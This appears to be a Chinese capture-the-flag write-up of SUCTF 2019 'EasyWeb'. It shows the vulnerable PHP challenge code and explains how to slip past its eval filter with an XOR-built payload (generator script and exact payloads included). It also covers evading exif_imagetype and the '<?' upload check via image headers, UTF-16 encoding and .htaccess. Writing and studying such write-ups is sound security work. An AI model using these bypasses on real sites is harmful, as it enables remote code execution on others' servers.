open_basedir+异或+.htaccess

function get_the_flag(){// webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);if(!file_exists($userdir)){mkdir($userdir);}if(!empty($_FILES["file"])){$tmp_name = $_FILES["file"]["tmp_name"];$name = $_FILES["file"]["name"];$extension = substr($name, strrpos($name,".")+1);if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name;@move_uploaded_file($tmp_name, $path);print_r($path);}
}
$hhh = @$_GET['_'];
if (!$hhh){highlight_file(__FILE__);
}
if(strlen($hhh)>18){die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);

分为两部分,思路是调用get_the_flag()函数


第一部分函数绕过

$hhh = @$_GET['_'];if (!$hhh){highlight_file(__FILE__);
}if(strlen($hhh)>18){     //限制18位die('One inch long, one inch strong!');
}if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )die('Try something else!');//正则只能16进制$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");eval($hhh);

通过正则匹配脚本发现能用的不多
利用不可见字符异或来构造:

<?php
$payload = '';for($i=0;$i<strlen($argv[1]);$i++)
{   for($j=0;$j<255;$j++){$k = chr($j)^chr(255);  //dechex(255) = ffif($k == $argv[1][$i])$payload .= '%'.dechex($j);}
}
echo $payload;

payload:

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

发现phpinfo()能构造成功

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag

就此绕过第一段


第二部分函数绕过

一个过滤正则基本把东西都匹配了,只是这次刚好就是apache+php环境了,但是还有一个.htaccess

exif_imagetype() 的绕过方式可以用"\x00\x00\x8a\x39\x8a\x39"也可以用"#define width 1337""#define height 1337"

这里注意到php版本为7.2所以,不能用/<script>标签绕过<?的过滤了,可以通过编码进行绕过,如原来使用utf8编码,如果shell中是用utf16编码则可以Bypass

自动生成.htaccess,以及

2019SUCTF EasyWeb相关推荐

  1. CTF训练计划—[CISCN2019]Easyweb

    前言: 这道题学到不少知识,还卡了很长时间,单独记录一下 [CISCN2019]Easyweb 首先拿到一个登陆框,从这里就要思考是要怎么去做,我在做的时候想到三个方面去尝试 burp抓包看有什么线索 ...

  2. Easyweb包括iframe中的页面跳转

    文档地址:常用实例 · EasyWeb开发文档 · 看云 跳转新页面:window.open("test.html"); 本窗口跳转:window.location.assign( ...

  3. [CISCN2019 总决赛 Day2 Web1]Easyweb 1

    [CISCN2019 总决赛 Day2 Web1]Easyweb 1 0x00 前言 就这道题而言,并没有单一的考察某一个知识点,而是将我们前面的 sql和upload等一些知识结合起来. 0x01 ...

  4. buu-[CISCN2019 总决赛 Day2 Web1]Easyweb

    扫!(或者靠经验先试) /robots.txt 看源码发现已知的php只有user.php/image.php/index.php 然后在image.php.bak里找到源码 <?php inc ...

  5. [网络安全提高篇] 一一〇.强网杯CTF的Web Write-Up(上) 寻宝、赌徒、EasyWeb、pop_master

    强网杯作为国内最好的CTF比赛之一,搞安全的博友和初学者都可以去尝试下.首先,让我们观摩下这些大神队伍,包括0x300R.eee.0ops.AAA.NeSE.Nu1L等,真的值得我们去学习.其次,非常 ...

  6. 【安洵杯 2019】easy-web

    涉及内容:base64解码.代码审计.MD5强类型注入.命令注入绕过 打开控制器,查看源代码,可以看到md5 is funny,可知这题应该会出现MD5 其余信息一无所获后,看到网站: 看到img=T ...

  7. easyweb新标签页打开

    index.openTab({                 title: '添加产品',                  url: 'pages/Order/form/order-add.htm ...

  8. buuctf-[CISCN2019 总决赛 Day2 Web1]Easyweb

    扫描目录   得到*.php.bak 尝试*表示的东西, index,flag之类的都没用 有image.php,顺便可以看到可能的注入点 下载下了备份文件 <?php include &qu ...

  9. BUU CTF[CISCN2019 总决赛 Day2 Web1]Easyweb 1

    文章目录 前言 一.源码审计 二.开始冻手 1.伪造Cookie 2.上传文件 3.getshell 总结 前言 没赶上2019的CISCN比赛,只能在BUU看到前人大佬们的荣光~ 不是很清楚BUU附 ...

最新文章

  1. python爬取公众号推荐_python爬搜狗微信获取指定微信公众号的文章
  2. python 基础之字典一
  3. linux u 驱动程序,在uClinux中增加自己的设备驱动程序
  4. SAS的数组array介绍
  5. easyui源码翻译1.32--panel(面板)
  6. 女人抛弃男人的唯一理由
  7. signature=01a8bb5f15835faa2985256d36b2fe94,Point of Maintenance
  8. java布尔方法_Java布尔方法返回
  9. java--Date时间
  10. 天线效应的原理及消除【转帖】
  11. 创建数据透视表数据包含合并单元格
  12. html游戏代码20行,js贪吃蛇源代码 20行js代码实现的贪吃蛇大战?
  13. PDFsharp使用介绍
  14. 支付宝提现免手续费的方法步骤
  15. Linux 命令 | 常用命令之 cut
  16. Android使用Google Map服务 - 根据GPS信息在地图上定位
  17. 北京大学人工智能研究院落户武汉,致力于打造一流人工智能研发机构
  18. activiti工作流,审批系统轻松落地,请假审批demo从流程绘制到审批结束实例
  19. MATLAB常用绘图命令
  20. WordPress简洁响应式WP主题大前端DUX7.1主题 免授权无限版

热门文章

  1. premiere介绍和安装方法
  2. 和声搜索算法——个人解读
  3. 360手机卫士插件化RePlugin今日开源,官方全面解读
  4. STM32F207 USB复合设备
  5. Sql的行列(纵横表)转换
  6. lodop处理样式及打印html节点、url地址、pdf
  7. Nginx跨域配置、防盗链配置
  8. 直升机空气动力学基础---002 桨叶的主要参数
  9. CodeBlock快捷键
  10. 日志易产品使用系列一:定时任务使用详解